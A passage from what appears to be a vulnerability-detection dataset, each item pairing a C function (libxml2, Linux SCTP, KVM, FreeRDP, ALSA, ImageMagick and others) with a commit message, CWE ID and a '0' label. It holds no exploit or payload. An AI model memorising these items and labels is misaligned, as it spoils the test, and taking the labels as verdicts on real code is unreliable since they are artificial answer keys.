namespace at 100,000. This is more than enough for any use case I
know of, but small enough to quickly stop an exponential increase
in mounts. Which should be perfect to catch misconfigurations and
malfunctioning programs.
For anyone who needs a higher limit this can be changed by writing
to the new /proc/sys/fs/mount-max sysctl.
Tested-by: CAI Qian <caiqian@redhat.com>
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
CWE ID: CWE-400
| 0
| 50,957
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xmlParserPrintFileContextInternal(xmlParserInputPtr input ,
xmlGenericErrorFunc chanl, void *data ) {
const xmlChar *cur, *base;
unsigned int n, col; /* GCC warns if signed, because compared with sizeof() */
xmlChar content[81]; /* space for 80 chars + line terminator */
xmlChar *ctnt;
if (input == NULL) return;
cur = input->cur;
base = input->base;
/* skip backwards over any end-of-lines */
while ((cur > base) && ((*(cur) == '\n') || (*(cur) == '\r'))) {
cur--;
}
n = 0;
/* search backwards for beginning-of-line (to max buff size) */
while ((n++ < (sizeof(content)-1)) && (cur > base) &&
(*(cur) != '\n') && (*(cur) != '\r'))
cur--;
if ((*(cur) == '\n') || (*(cur) == '\r')) cur++;
/* calculate the error position in terms of the current position */
col = input->cur - cur;
/* search forward for end-of-line (to max buff size) */
n = 0;
ctnt = content;
/* copy selected text to our buffer */
while ((*cur != 0) && (*(cur) != '\n') &&
(*(cur) != '\r') && (n < sizeof(content)-1)) {
*ctnt++ = *cur++;
n++;
}
*ctnt = 0;
/* print out the selected text */
chanl(data ,"%s\n", content);
/* create blank line with problem pointer */
n = 0;
ctnt = content;
/* (leave buffer space for pointer + line terminator) */
while ((n<col) && (n++ < sizeof(content)-2) && (*ctnt != 0)) {
if (*(ctnt) != '\t')
*(ctnt) = ' ';
ctnt++;
}
*ctnt++ = '^';
*ctnt = 0;
chanl(data ,"%s\n", content);
}
Commit Message: Fix handling of parameter-entity references
There were two bugs where parameter-entity references could lead to an
unexpected change of the input buffer in xmlParseNameComplex and
xmlDictLookup being called with an invalid pointer.
Percent sign in DTD Names
=========================
The NEXTL macro used to call xmlParserHandlePEReference. When parsing
"complex" names inside the DTD, this could result in entity expansion
which created a new input buffer. The fix is to simply remove the call
to xmlParserHandlePEReference from the NEXTL macro. This is safe because
no users of the macro require expansion of parameter entities.
- xmlParseNameComplex
- xmlParseNCNameComplex
- xmlParseNmtoken
The percent sign is not allowed in names, which are grammatical tokens.
- xmlParseEntityValue
Parameter-entity references in entity values are expanded but this
happens in a separate step in this function.
- xmlParseSystemLiteral
Parameter-entity references are ignored in the system literal.
- xmlParseAttValueComplex
- xmlParseCharDataComplex
- xmlParseCommentComplex
- xmlParsePI
- xmlParseCDSect
Parameter-entity references are ignored outside the DTD.
- xmlLoadEntityContent
This function is only called from xmlStringLenDecodeEntities and
entities are replaced in a separate step immediately after the function
call.
This bug could also be triggered with an internal subset and double
entity expansion.
This fixes bug 766956 initially reported by Wei Lei and independently by
Chromium's ClusterFuzz, Hanno Böck, and Marco Grassi. Thanks to everyone
involved.
xmlParseNameComplex with XML_PARSE_OLD10
========================================
When parsing Names inside an expanded parameter entity with the
XML_PARSE_OLD10 option, xmlParseNameComplex would call xmlGROW via the
GROW macro if the input buffer was exhausted. At the end of the
parameter entity's replacement text, this function would then call
xmlPopInput which invalidated the input buffer.
There should be no need to invoke GROW in this situation because the
buffer is grown periodically every XML_PARSER_CHUNK_SIZE characters and,
at least for UTF-8, in xmlCurrentChar. This also matches the code path
executed when XML_PARSE_OLD10 is not set.
This fixes bugs 781205 (CVE-2017-9049) and 781361 (CVE-2017-9050).
Thanks to Marcel Böhme and Thuan Pham for the report.
Additional hardening
====================
A separate check was added in xmlParseNameComplex to validate the
buffer size.
CWE ID: CWE-119
| 0
| 59,652
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: attr_show_all (struct vty *vty)
{
hash_iterate (attrhash,
(void (*)(struct hash_backet *, void *))
attr_show_all_iterator,
vty);
}
Commit Message:
CWE ID:
| 0
| 228
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int sctp_getsockopt_hmac_ident(struct sock *sk, int len,
char __user *optval, int __user *optlen)
{
struct sctp_endpoint *ep = sctp_sk(sk)->ep;
struct sctp_hmacalgo __user *p = (void __user *)optval;
struct sctp_hmac_algo_param *hmacs;
__u16 data_len = 0;
u32 num_idents;
int i;
if (!ep->auth_enable)
return -EACCES;
hmacs = ep->auth_hmacs_list;
data_len = ntohs(hmacs->param_hdr.length) -
sizeof(struct sctp_paramhdr);
if (len < sizeof(struct sctp_hmacalgo) + data_len)
return -EINVAL;
len = sizeof(struct sctp_hmacalgo) + data_len;
num_idents = data_len / sizeof(u16);
if (put_user(len, optlen))
return -EFAULT;
if (put_user(num_idents, &p->shmac_num_idents))
return -EFAULT;
for (i = 0; i < num_idents; i++) {
__u16 hmacid = ntohs(hmacs->hmac_ids[i]);
if (copy_to_user(&p->shmac_idents[i], &hmacid, sizeof(__u16)))
return -EFAULT;
}
return 0;
}
Commit Message: sctp: do not peel off an assoc from one netns to another one
Now when peeling off an association to the sock in another netns, all
transports in this assoc are not to be rehashed and keep use the old
key in hashtable.
As a transport uses sk->net as the hash key to insert into hashtable,
it would miss removing these transports from hashtable due to the new
netns when closing the sock and all transports are being freeed, then
later an use-after-free issue could be caused when looking up an asoc
and dereferencing those transports.
This is a very old issue since very beginning, ChunYu found it with
syzkaller fuzz testing with this series:
socket$inet6_sctp()
bind$inet6()
sendto$inet6()
unshare(0x40000000)
getsockopt$inet_sctp6_SCTP_GET_ASSOC_ID_LIST()
getsockopt$inet_sctp6_SCTP_SOCKOPT_PEELOFF()
This patch is to block this call when peeling one assoc off from one
netns to another one, so that the netns of all transport would not
go out-sync with the key in hashtable.
Note that this patch didn't fix it by rehashing transports, as it's
difficult to handle the situation when the tuple is already in use
in the new netns. Besides, no one would like to peel off one assoc
to another netns, considering ipaddrs, ifaces, etc. are usually
different.
Reported-by: ChunYu Wang <chunwang@redhat.com>
Signed-off-by: Xin Long <lucien.xin@gmail.com>
Acked-by: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com>
Acked-by: Neil Horman <nhorman@tuxdriver.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-416
| 0
| 60,666
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int do_set_msr(struct kvm_vcpu *vcpu, unsigned index, u64 *data)
{
struct msr_data msr;
msr.data = *data;
msr.index = index;
msr.host_initiated = true;
return kvm_set_msr(vcpu, &msr);
}
Commit Message: KVM: x86: Convert vapic synchronization to _cached functions (CVE-2013-6368)
In kvm_lapic_sync_from_vapic and kvm_lapic_sync_to_vapic there is the
potential to corrupt kernel memory if userspace provides an address that
is at the end of a page. This patches concerts those functions to use
kvm_write_guest_cached and kvm_read_guest_cached. It also checks the
vapic_address specified by userspace during ioctl processing and returns
an error to userspace if the address is not a valid GPA.
This is generally not guest triggerable, because the required write is
done by firmware that runs before the guest. Also, it only affects AMD
processors and oldish Intel that do not have the FlexPriority feature
(unless you disable FlexPriority, of course; then newer processors are
also affected).
Fixes: b93463aa59d6 ('KVM: Accelerated apic support')
Reported-by: Andrew Honig <ahonig@google.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andrew Honig <ahonig@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20
| 0
| 28,809
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: BOOL nsc_compose_message(NSC_CONTEXT* context, wStream* s, const BYTE* data,
UINT32 width, UINT32 height, UINT32 scanline)
{
NSC_MESSAGE s_message = { 0 };
NSC_MESSAGE* message = &s_message;
context->width = width;
context->height = height;
if (!nsc_context_initialize_encode(context))
return FALSE;
/* ARGB to AYCoCg conversion, chroma subsampling and colorloss reduction */
PROFILER_ENTER(context->priv->prof_nsc_encode)
context->encode(context, data, scanline);
PROFILER_EXIT(context->priv->prof_nsc_encode)
/* RLE encode */
PROFILER_ENTER(context->priv->prof_nsc_rle_compress_data)
nsc_rle_compress_data(context);
PROFILER_EXIT(context->priv->prof_nsc_rle_compress_data)
message->PlaneBuffers[0] = context->priv->PlaneBuffers[0];
message->PlaneBuffers[1] = context->priv->PlaneBuffers[1];
message->PlaneBuffers[2] = context->priv->PlaneBuffers[2];
message->PlaneBuffers[3] = context->priv->PlaneBuffers[3];
message->LumaPlaneByteCount = context->PlaneByteCount[0];
message->OrangeChromaPlaneByteCount = context->PlaneByteCount[1];
message->GreenChromaPlaneByteCount = context->PlaneByteCount[2];
message->AlphaPlaneByteCount = context->PlaneByteCount[3];
message->ColorLossLevel = context->ColorLossLevel;
message->ChromaSubsamplingLevel = context->ChromaSubsamplingLevel;
return nsc_write_message(context, s, message);
}
Commit Message: Fixed CVE-2018-8788
Thanks to Eyal Itkin from Check Point Software Technologies.
CWE ID: CWE-787
| 0
| 83,526
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SoftAVC::SoftAVC(
const char *name,
const OMX_CALLBACKTYPE *callbacks,
OMX_PTR appData,
OMX_COMPONENTTYPE **component)
: SoftVideoDecoderOMXComponent(
name, componentName, codingType,
kProfileLevels, ARRAY_SIZE(kProfileLevels),
320 /* width */, 240 /* height */, callbacks,
appData, component),
mCodecCtx(NULL),
mFlushOutBuffer(NULL),
mOmxColorFormat(OMX_COLOR_FormatYUV420Planar),
mIvColorFormat(IV_YUV_420P),
mChangingResolution(false),
mSignalledError(false),
mStride(mWidth){
initPorts(
kNumBuffers, INPUT_BUF_SIZE, kNumBuffers, CODEC_MIME_TYPE);
GETTIME(&mTimeStart, NULL);
GENERATE_FILE_NAMES();
CREATE_DUMP_FILE(mInFile);
}
Commit Message: codecs: check OMX buffer size before use in (avc|hevc|mpeg2)dec
Bug: 27833616
Change-Id: Ic4045a3f56f53b08d0b1264b2a91b8f43e91b738
(cherry picked from commit 87fdee0bc9e3ac4d2a88ef0a8e150cfdf08c161d)
CWE ID: CWE-20
| 0
| 163,885
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ChooserContextBase::PermissionObserver::OnPermissionRevoked(
const GURL& requesting_origin,
const GURL& embedding_origin) {}
Commit Message: Fix memory leak in ChooserContextBase::GetGrantedObjects.
Bug: 854329
Change-Id: Ia163d503a4207859cd41c847c9d5f67e77580fbc
Reviewed-on: https://chromium-review.googlesource.com/c/1456080
Reviewed-by: Balazs Engedy <engedy@chromium.org>
Reviewed-by: Raymes Khoury <raymes@chromium.org>
Commit-Queue: Marek Haranczyk <mharanczyk@opera.com>
Cr-Commit-Position: refs/heads/master@{#629919}
CWE ID: CWE-190
| 0
| 130,176
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int snd_timer_user_ginfo(struct file *file,
struct snd_timer_ginfo __user *_ginfo)
{
struct snd_timer_ginfo *ginfo;
struct snd_timer_id tid;
struct snd_timer *t;
struct list_head *p;
int err = 0;
ginfo = memdup_user(_ginfo, sizeof(*ginfo));
if (IS_ERR(ginfo))
return PTR_ERR(ginfo);
tid = ginfo->tid;
memset(ginfo, 0, sizeof(*ginfo));
ginfo->tid = tid;
mutex_lock(®ister_mutex);
t = snd_timer_find(&tid);
if (t != NULL) {
ginfo->card = t->card ? t->card->number : -1;
if (t->hw.flags & SNDRV_TIMER_HW_SLAVE)
ginfo->flags |= SNDRV_TIMER_FLG_SLAVE;
strlcpy(ginfo->id, t->id, sizeof(ginfo->id));
strlcpy(ginfo->name, t->name, sizeof(ginfo->name));
ginfo->resolution = t->hw.resolution;
if (t->hw.resolution_min > 0) {
ginfo->resolution_min = t->hw.resolution_min;
ginfo->resolution_max = t->hw.resolution_max;
}
list_for_each(p, &t->open_list_head) {
ginfo->clients++;
}
} else {
err = -ENODEV;
}
mutex_unlock(®ister_mutex);
if (err >= 0 && copy_to_user(_ginfo, ginfo, sizeof(*ginfo)))
err = -EFAULT;
kfree(ginfo);
return err;
}
Commit Message: ALSA: timer: Fix leak in events via snd_timer_user_tinterrupt
The stack object “r1” has a total size of 32 bytes. Its field
“event” and “val” both contain 4 bytes padding. These 8 bytes
padding bytes are sent to user without being initialized.
Signed-off-by: Kangjie Lu <kjlu@gatech.edu>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-200
| 0
| 52,726
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ewk_frame_core_gone(Evas_Object* ewkFrame)
{
DBG("ewkFrame=%p", ewkFrame);
EWK_FRAME_SD_GET_OR_RETURN(ewkFrame, smartData);
smartData->frame = 0;
}
Commit Message: [EFL] fast/frames/frame-crash-with-page-cache.html is crashing
https://bugs.webkit.org/show_bug.cgi?id=85879
Patch by Mikhail Pozdnyakov <mikhail.pozdnyakov@intel.com> on 2012-05-17
Reviewed by Noam Rosenthal.
Source/WebKit/efl:
_ewk_frame_smart_del() is considering now that the frame can be present in cache.
loader()->detachFromParent() is only applied for the main frame.
loader()->cancelAndClear() is not used anymore.
* ewk/ewk_frame.cpp:
(_ewk_frame_smart_del):
LayoutTests:
* platform/efl/test_expectations.txt: Removed fast/frames/frame-crash-with-page-cache.html.
git-svn-id: svn://svn.chromium.org/blink/trunk@117409 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 107,641
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int GetCrashSignalFD(const CommandLine& command_line) {
if (command_line.HasSwitch(switches::kExtensionProcess)) {
ExtensionCrashHandlerHostLinux* crash_handler =
ExtensionCrashHandlerHostLinux::GetInstance();
return crash_handler->GetDeathSignalSocket();
}
std::string process_type =
command_line.GetSwitchValueASCII(switches::kProcessType);
if (process_type == switches::kRendererProcess)
return RendererCrashHandlerHostLinux::GetInstance()->GetDeathSignalSocket();
if (process_type == switches::kPluginProcess)
return PluginCrashHandlerHostLinux::GetInstance()->GetDeathSignalSocket();
if (process_type == switches::kPpapiPluginProcess)
return PpapiCrashHandlerHostLinux::GetInstance()->GetDeathSignalSocket();
if (process_type == switches::kGpuProcess)
return GpuCrashHandlerHostLinux::GetInstance()->GetDeathSignalSocket();
return -1;
}
Commit Message: Ensure extensions and the Chrome Web Store are loaded in new BrowsingInstances.
BUG=174943
TEST=Can't post message to CWS. See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/12301013
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@184208 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 115,746
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GLES2DecoderImpl::DoUniformMatrix2fv(
GLint fake_location, GLsizei count, GLboolean transpose,
const GLfloat* value) {
GLenum type = 0;
GLint real_location = -1;
if (!PrepForSetUniformByLocation(fake_location,
"glUniformMatrix2fv",
Program::kUniformMatrix2f,
&real_location,
&type,
&count)) {
return;
}
glUniformMatrix2fv(real_location, count, transpose, value);
}
Commit Message: Framebuffer clear() needs to consider the situation some draw buffers are disabled.
This is when we expose DrawBuffers extension.
BUG=376951
TEST=the attached test case, webgl conformance
R=kbr@chromium.org,bajones@chromium.org
Review URL: https://codereview.chromium.org/315283002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@275338 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 120,866
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void net_tx_pkt_dump(struct NetTxPkt *pkt)
{
#ifdef NET_TX_PKT_DEBUG
assert(pkt);
printf("TX PKT: hdr_len: %d, pkt_type: 0x%X, l2hdr_len: %lu, "
"l3hdr_len: %lu, payload_len: %u\n", pkt->hdr_len, pkt->packet_type,
pkt->vec[NET_TX_PKT_L2HDR_FRAG].iov_len,
pkt->vec[NET_TX_PKT_L3HDR_FRAG].iov_len, pkt->payload_len);
#endif
}
Commit Message:
CWE ID: CWE-190
| 0
| 8,956
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: MagickExport ChannelMoments *GetImageChannelMoments(const Image *image,
ExceptionInfo *exception)
{
#define MaxNumberImageMoments 8
ChannelMoments
*channel_moments;
double
M00[CompositeChannels+1],
M01[CompositeChannels+1],
M02[CompositeChannels+1],
M03[CompositeChannels+1],
M10[CompositeChannels+1],
M11[CompositeChannels+1],
M12[CompositeChannels+1],
M20[CompositeChannels+1],
M21[CompositeChannels+1],
M22[CompositeChannels+1],
M30[CompositeChannels+1];
MagickPixelPacket
pixel;
PointInfo
centroid[CompositeChannels+1];
ssize_t
channel,
channels,
y;
size_t
length;
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
length=CompositeChannels+1UL;
channel_moments=(ChannelMoments *) AcquireQuantumMemory(length,
sizeof(*channel_moments));
if (channel_moments == (ChannelMoments *) NULL)
return(channel_moments);
(void) memset(channel_moments,0,length*sizeof(*channel_moments));
(void) memset(centroid,0,sizeof(centroid));
(void) memset(M00,0,sizeof(M00));
(void) memset(M01,0,sizeof(M01));
(void) memset(M02,0,sizeof(M02));
(void) memset(M03,0,sizeof(M03));
(void) memset(M10,0,sizeof(M10));
(void) memset(M11,0,sizeof(M11));
(void) memset(M12,0,sizeof(M12));
(void) memset(M20,0,sizeof(M20));
(void) memset(M21,0,sizeof(M21));
(void) memset(M22,0,sizeof(M22));
(void) memset(M30,0,sizeof(M30));
GetMagickPixelPacket(image,&pixel);
for (y=0; y < (ssize_t) image->rows; y++)
{
register const IndexPacket
*magick_restrict indexes;
register const PixelPacket
*magick_restrict p;
register ssize_t
x;
/*
Compute center of mass (centroid).
*/
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const PixelPacket *) NULL)
break;
indexes=GetVirtualIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
{
SetMagickPixelPacket(image,p,indexes+x,&pixel);
M00[RedChannel]+=QuantumScale*pixel.red;
M10[RedChannel]+=x*QuantumScale*pixel.red;
M01[RedChannel]+=y*QuantumScale*pixel.red;
M00[GreenChannel]+=QuantumScale*pixel.green;
M10[GreenChannel]+=x*QuantumScale*pixel.green;
M01[GreenChannel]+=y*QuantumScale*pixel.green;
M00[BlueChannel]+=QuantumScale*pixel.blue;
M10[BlueChannel]+=x*QuantumScale*pixel.blue;
M01[BlueChannel]+=y*QuantumScale*pixel.blue;
if (image->matte != MagickFalse)
{
M00[OpacityChannel]+=QuantumScale*pixel.opacity;
M10[OpacityChannel]+=x*QuantumScale*pixel.opacity;
M01[OpacityChannel]+=y*QuantumScale*pixel.opacity;
}
if (image->colorspace == CMYKColorspace)
{
M00[IndexChannel]+=QuantumScale*pixel.index;
M10[IndexChannel]+=x*QuantumScale*pixel.index;
M01[IndexChannel]+=y*QuantumScale*pixel.index;
}
p++;
}
}
for (channel=0; channel <= CompositeChannels; channel++)
{
/*
Compute center of mass (centroid).
*/
if (M00[channel] < MagickEpsilon)
{
M00[channel]+=MagickEpsilon;
centroid[channel].x=(double) image->columns/2.0;
centroid[channel].y=(double) image->rows/2.0;
continue;
}
M00[channel]+=MagickEpsilon;
centroid[channel].x=M10[channel]/M00[channel];
centroid[channel].y=M01[channel]/M00[channel];
}
for (y=0; y < (ssize_t) image->rows; y++)
{
register const IndexPacket
*magick_restrict indexes;
register const PixelPacket
*magick_restrict p;
register ssize_t
x;
/*
Compute the image moments.
*/
p=GetVirtualPixels(image,0,y,image->columns,1,exception);
if (p == (const PixelPacket *) NULL)
break;
indexes=GetVirtualIndexQueue(image);
for (x=0; x < (ssize_t) image->columns; x++)
{
SetMagickPixelPacket(image,p,indexes+x,&pixel);
M11[RedChannel]+=(x-centroid[RedChannel].x)*(y-
centroid[RedChannel].y)*QuantumScale*pixel.red;
M20[RedChannel]+=(x-centroid[RedChannel].x)*(x-
centroid[RedChannel].x)*QuantumScale*pixel.red;
M02[RedChannel]+=(y-centroid[RedChannel].y)*(y-
centroid[RedChannel].y)*QuantumScale*pixel.red;
M21[RedChannel]+=(x-centroid[RedChannel].x)*(x-
centroid[RedChannel].x)*(y-centroid[RedChannel].y)*QuantumScale*
pixel.red;
M12[RedChannel]+=(x-centroid[RedChannel].x)*(y-
centroid[RedChannel].y)*(y-centroid[RedChannel].y)*QuantumScale*
pixel.red;
M22[RedChannel]+=(x-centroid[RedChannel].x)*(x-
centroid[RedChannel].x)*(y-centroid[RedChannel].y)*(y-
centroid[RedChannel].y)*QuantumScale*pixel.red;
M30[RedChannel]+=(x-centroid[RedChannel].x)*(x-
centroid[RedChannel].x)*(x-centroid[RedChannel].x)*QuantumScale*
pixel.red;
M03[RedChannel]+=(y-centroid[RedChannel].y)*(y-
centroid[RedChannel].y)*(y-centroid[RedChannel].y)*QuantumScale*
pixel.red;
M11[GreenChannel]+=(x-centroid[GreenChannel].x)*(y-
centroid[GreenChannel].y)*QuantumScale*pixel.green;
M20[GreenChannel]+=(x-centroid[GreenChannel].x)*(x-
centroid[GreenChannel].x)*QuantumScale*pixel.green;
M02[GreenChannel]+=(y-centroid[GreenChannel].y)*(y-
centroid[GreenChannel].y)*QuantumScale*pixel.green;
M21[GreenChannel]+=(x-centroid[GreenChannel].x)*(x-
centroid[GreenChannel].x)*(y-centroid[GreenChannel].y)*QuantumScale*
pixel.green;
M12[GreenChannel]+=(x-centroid[GreenChannel].x)*(y-
centroid[GreenChannel].y)*(y-centroid[GreenChannel].y)*QuantumScale*
pixel.green;
M22[GreenChannel]+=(x-centroid[GreenChannel].x)*(x-
centroid[GreenChannel].x)*(y-centroid[GreenChannel].y)*(y-
centroid[GreenChannel].y)*QuantumScale*pixel.green;
M30[GreenChannel]+=(x-centroid[GreenChannel].x)*(x-
centroid[GreenChannel].x)*(x-centroid[GreenChannel].x)*QuantumScale*
pixel.green;
M03[GreenChannel]+=(y-centroid[GreenChannel].y)*(y-
centroid[GreenChannel].y)*(y-centroid[GreenChannel].y)*QuantumScale*
pixel.green;
M11[BlueChannel]+=(x-centroid[BlueChannel].x)*(y-
centroid[BlueChannel].y)*QuantumScale*pixel.blue;
M20[BlueChannel]+=(x-centroid[BlueChannel].x)*(x-
centroid[BlueChannel].x)*QuantumScale*pixel.blue;
M02[BlueChannel]+=(y-centroid[BlueChannel].y)*(y-
centroid[BlueChannel].y)*QuantumScale*pixel.blue;
M21[BlueChannel]+=(x-centroid[BlueChannel].x)*(x-
centroid[BlueChannel].x)*(y-centroid[BlueChannel].y)*QuantumScale*
pixel.blue;
M12[BlueChannel]+=(x-centroid[BlueChannel].x)*(y-
centroid[BlueChannel].y)*(y-centroid[BlueChannel].y)*QuantumScale*
pixel.blue;
M22[BlueChannel]+=(x-centroid[BlueChannel].x)*(x-
centroid[BlueChannel].x)*(y-centroid[BlueChannel].y)*(y-
centroid[BlueChannel].y)*QuantumScale*pixel.blue;
M30[BlueChannel]+=(x-centroid[BlueChannel].x)*(x-
centroid[BlueChannel].x)*(x-centroid[BlueChannel].x)*QuantumScale*
pixel.blue;
M03[BlueChannel]+=(y-centroid[BlueChannel].y)*(y-
centroid[BlueChannel].y)*(y-centroid[BlueChannel].y)*QuantumScale*
pixel.blue;
if (image->matte != MagickFalse)
{
M11[OpacityChannel]+=(x-centroid[OpacityChannel].x)*(y-
centroid[OpacityChannel].y)*QuantumScale*pixel.opacity;
M20[OpacityChannel]+=(x-centroid[OpacityChannel].x)*(x-
centroid[OpacityChannel].x)*QuantumScale*pixel.opacity;
M02[OpacityChannel]+=(y-centroid[OpacityChannel].y)*(y-
centroid[OpacityChannel].y)*QuantumScale*pixel.opacity;
M21[OpacityChannel]+=(x-centroid[OpacityChannel].x)*(x-
centroid[OpacityChannel].x)*(y-centroid[OpacityChannel].y)*
QuantumScale*pixel.opacity;
M12[OpacityChannel]+=(x-centroid[OpacityChannel].x)*(y-
centroid[OpacityChannel].y)*(y-centroid[OpacityChannel].y)*
QuantumScale*pixel.opacity;
M22[OpacityChannel]+=(x-centroid[OpacityChannel].x)*(x-
centroid[OpacityChannel].x)*(y-centroid[OpacityChannel].y)*(y-
centroid[OpacityChannel].y)*QuantumScale*pixel.opacity;
M30[OpacityChannel]+=(x-centroid[OpacityChannel].x)*(x-
centroid[OpacityChannel].x)*(x-centroid[OpacityChannel].x)*
QuantumScale*pixel.opacity;
M03[OpacityChannel]+=(y-centroid[OpacityChannel].y)*(y-
centroid[OpacityChannel].y)*(y-centroid[OpacityChannel].y)*
QuantumScale*pixel.opacity;
}
if (image->colorspace == CMYKColorspace)
{
M11[IndexChannel]+=(x-centroid[IndexChannel].x)*(y-
centroid[IndexChannel].y)*QuantumScale*pixel.index;
M20[IndexChannel]+=(x-centroid[IndexChannel].x)*(x-
centroid[IndexChannel].x)*QuantumScale*pixel.index;
M02[IndexChannel]+=(y-centroid[IndexChannel].y)*(y-
centroid[IndexChannel].y)*QuantumScale*pixel.index;
M21[IndexChannel]+=(x-centroid[IndexChannel].x)*(x-
centroid[IndexChannel].x)*(y-centroid[IndexChannel].y)*
QuantumScale*pixel.index;
M12[IndexChannel]+=(x-centroid[IndexChannel].x)*(y-
centroid[IndexChannel].y)*(y-centroid[IndexChannel].y)*
QuantumScale*pixel.index;
M22[IndexChannel]+=(x-centroid[IndexChannel].x)*(x-
centroid[IndexChannel].x)*(y-centroid[IndexChannel].y)*(y-
centroid[IndexChannel].y)*QuantumScale*pixel.index;
M30[IndexChannel]+=(x-centroid[IndexChannel].x)*(x-
centroid[IndexChannel].x)*(x-centroid[IndexChannel].x)*
QuantumScale*pixel.index;
M03[IndexChannel]+=(y-centroid[IndexChannel].y)*(y-
centroid[IndexChannel].y)*(y-centroid[IndexChannel].y)*
QuantumScale*pixel.index;
}
p++;
}
}
channels=3;
M00[CompositeChannels]+=(M00[RedChannel]+M00[GreenChannel]+M00[BlueChannel]);
M01[CompositeChannels]+=(M01[RedChannel]+M01[GreenChannel]+M01[BlueChannel]);
M02[CompositeChannels]+=(M02[RedChannel]+M02[GreenChannel]+M02[BlueChannel]);
M03[CompositeChannels]+=(M03[RedChannel]+M03[GreenChannel]+M03[BlueChannel]);
M10[CompositeChannels]+=(M10[RedChannel]+M10[GreenChannel]+M10[BlueChannel]);
M11[CompositeChannels]+=(M11[RedChannel]+M11[GreenChannel]+M11[BlueChannel]);
M12[CompositeChannels]+=(M12[RedChannel]+M12[GreenChannel]+M12[BlueChannel]);
M20[CompositeChannels]+=(M20[RedChannel]+M20[GreenChannel]+M20[BlueChannel]);
M21[CompositeChannels]+=(M21[RedChannel]+M21[GreenChannel]+M21[BlueChannel]);
M22[CompositeChannels]+=(M22[RedChannel]+M22[GreenChannel]+M22[BlueChannel]);
M30[CompositeChannels]+=(M30[RedChannel]+M30[GreenChannel]+M30[BlueChannel]);
if (image->matte != MagickFalse)
{
channels+=1;
M00[CompositeChannels]+=M00[OpacityChannel];
M01[CompositeChannels]+=M01[OpacityChannel];
M02[CompositeChannels]+=M02[OpacityChannel];
M03[CompositeChannels]+=M03[OpacityChannel];
M10[CompositeChannels]+=M10[OpacityChannel];
M11[CompositeChannels]+=M11[OpacityChannel];
M12[CompositeChannels]+=M12[OpacityChannel];
M20[CompositeChannels]+=M20[OpacityChannel];
M21[CompositeChannels]+=M21[OpacityChannel];
M22[CompositeChannels]+=M22[OpacityChannel];
M30[CompositeChannels]+=M30[OpacityChannel];
}
if (image->colorspace == CMYKColorspace)
{
channels+=1;
M00[CompositeChannels]+=M00[IndexChannel];
M01[CompositeChannels]+=M01[IndexChannel];
M02[CompositeChannels]+=M02[IndexChannel];
M03[CompositeChannels]+=M03[IndexChannel];
M10[CompositeChannels]+=M10[IndexChannel];
M11[CompositeChannels]+=M11[IndexChannel];
M12[CompositeChannels]+=M12[IndexChannel];
M20[CompositeChannels]+=M20[IndexChannel];
M21[CompositeChannels]+=M21[IndexChannel];
M22[CompositeChannels]+=M22[IndexChannel];
M30[CompositeChannels]+=M30[IndexChannel];
}
M00[CompositeChannels]/=(double) channels;
M01[CompositeChannels]/=(double) channels;
M02[CompositeChannels]/=(double) channels;
M03[CompositeChannels]/=(double) channels;
M10[CompositeChannels]/=(double) channels;
M11[CompositeChannels]/=(double) channels;
M12[CompositeChannels]/=(double) channels;
M20[CompositeChannels]/=(double) channels;
M21[CompositeChannels]/=(double) channels;
M22[CompositeChannels]/=(double) channels;
M30[CompositeChannels]/=(double) channels;
for (channel=0; channel <= CompositeChannels; channel++)
{
/*
Compute elliptical angle, major and minor axes, eccentricity, & intensity.
*/
channel_moments[channel].centroid=centroid[channel];
channel_moments[channel].ellipse_axis.x=sqrt((2.0/M00[channel])*
((M20[channel]+M02[channel])+sqrt(4.0*M11[channel]*M11[channel]+
(M20[channel]-M02[channel])*(M20[channel]-M02[channel]))));
channel_moments[channel].ellipse_axis.y=sqrt((2.0/M00[channel])*
((M20[channel]+M02[channel])-sqrt(4.0*M11[channel]*M11[channel]+
(M20[channel]-M02[channel])*(M20[channel]-M02[channel]))));
channel_moments[channel].ellipse_angle=RadiansToDegrees(0.5*atan(2.0*
